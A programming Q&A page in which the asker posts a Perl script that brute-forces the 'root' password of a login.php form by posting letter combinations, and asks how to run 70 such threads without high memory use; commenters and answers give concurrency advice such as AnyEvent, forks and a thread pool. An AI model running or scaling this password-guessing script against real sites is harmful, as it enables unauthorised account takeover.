How do I reduce memory consumption when using many threads in Perl?

Question

i want to create over 70 threads where every thread begins with a different value.

here is my code in order to be more clear

use strict;
use warnings;
use threads;
use LWP::UserAgent;
my @char = (("A".."Z"),("a".."z"));
my @threads; 
my $ua = LWP::UserAgent->new;
push @threads , threads->create(\&Chara);

sub Chara {
foreach my $a (@char){
foreach my $b (@char){
foreach my $c (@char){
foreach my $d (@char){
foreach my $e (@char){
my @req = ("http://localhost/login.php",['log' => "root" , 'pwd' => "A$e$d$c$b$a"]);
my $res = $ua->post(@req);
print "Trying A$e$d$c$b$a\n";
if ($res->as_string() =~ /302/ && $res->as_strint() =~ m/admin/i){

print "A$e$d$c$b$a\n";
exit;
}}}}}}};;

and i repeated that over 70 times with different values and in the end of the script i put

$_->join foreach @threads;

but when i run the script it consumes a lot of memory

any suggestions.

excuse my language .

Reduce the number of threads, after all you haven't got 70 cores have you. You might want to consider adding some basic intrusion monitoring to your web site as well.... — Tony Hopkinson, Jan 11 '14 at 00:57
reduce the number of threads by grouping jobs, or consider http://search.cpan.org/~msouth/ParallelUserAgent-2.61/lib/LWP/Parallel/UserAgent.pm — mpapec, Jan 11 '14 at 07:08
If you really want to do this with as little memory as possible, use C, not perl, and don't use libraries, write your own minimal functions (libraries tend to have/need a lot of extra features that you won't need in your special case. Anyway, you'll start overloading your network the web server quickly - you won't be able to run 70 threads of this at anything near full speed even if you fix the memory issue. — Guntram Blohm, Jan 11 '14 at 12:16

score 1 · Answer 1 · answered Jan 11 '14 at 14:26

While most other languages use a light-weight 'shared everything' model, where you have to take lots of care when accessing data because other threads might access them at the same time, Perl uses a heavy-weight 'shared explicit' model, where nothing is shared by default. This means, that a thread is nearly as expensive as a cloned process, and the only advantage against forking is the easier management of explicitly shared data.

Therefore it is in my opinion a bad idea to use Perl with threads, especially if you use a lot of threads. A better way would be to use an event based model, which is implemented by modules like AnyEvent or POE. This scales much better. Where I work we use it to write application proxies, and it scales to 1000s of parallel connections inside a single process without problems without needing much memory. With Perl threads we could not do this.

In your program you try to access multiple web sites at the same time. You could do this event based with modules like AnyEvent::HTTP or Mojo::UserAgent. You could also use a coroutines based approach with the Coro::LWP module.

score 0 · Accepted Answer · answered Jan 11 '14 at 22:08

Use forks before you import threads, like:

use forks;
use threads;

or you can limit your threads like the following code:

#!perl


use strict;
use warnings;
use diagnostics;


use Data::Dumper;
use threads;


my @IPS;
for my $item (1..100) {
    push @IPS, $item;
}

my @Threads;

for (1..5) {
    last if !@IPS;
    my $IP =shift(@IPS);
    push @Threads, async{ Connect($IP) };
}


while (@Threads) {
    my $thread = shift(@Threads);
    my $response = $thread->join;
    print Dumper($response);
    if (@IPS) {
        my $IP =shift(@IPS);
        push @Threads, async{ Connect($IP) };
    }
}

sub Connect {
    my $ip = shift;
    sleep(1);
    my $r=int(rand(10));
    return "test$r";

}

I hope that help !

How do I reduce memory consumption when using many threads in Perl?

2 Answers2

Linked